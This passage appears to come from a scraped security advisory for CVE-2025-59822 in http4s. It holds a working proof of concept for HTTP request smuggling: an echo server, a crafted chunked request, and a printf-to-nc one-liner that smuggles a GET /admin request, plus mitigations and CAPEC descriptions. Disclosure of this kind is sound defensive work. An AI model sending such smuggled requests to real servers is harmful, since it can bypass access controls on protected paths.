CRLF check\n complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n case req @ _ =\u003e\n for {\n bodyStr \u003c- req.bodyText.compile.string\n method = req.method.name\n uri = req.uri.toString()\n version = req.httpVersion.toString\n headers = req.headers.headers.map { header =\u003e\n s\"${header.name.toString.toLowerCase}: ${header.value}\"\n }.mkString(\"\\n\")\n \n responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n result \u003c- Ok(responseText)\n } yield result\n }\n\n val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n Router(\"/\" -\u003e echoService).orNotFound\n )\n\n override def run(args: List[String]): IO[ExitCode] = {\n EmberServerBuilder\n .default[IO]\n .withHost(ipv4\"0.0.0.0\")\n .withPort(port\"8080\")\n .withHttpApp(httpApp)\n .build\n .use { server =\u003e\n IO.println(s\"Server started at http://0.0.0.0:8080\") \u003e\u003e IO.never\n }\n .as(ExitCode.Success)\n }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n .settings(\n name := \"http4s-echo-server\",\n libraryDependencies ++= Seq(\n \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n )\n )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf \u0027POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```",
"id": "GHSA-wcwh-7gfw-5wrr",
"modified": "2025-10-13T15:20:21Z",
"published": "2025-09-23T17:37:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59822"
},
{
"type": "WEB",
"url": "https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4s/http4s"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section"
}
Mitigation
Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
Mitigation
Use only SSL communication.
Mitigation
Terminate the client session after each request.
Mitigation
Turn all pages to non-cacheable.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-33: HTTP Request Smuggling
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.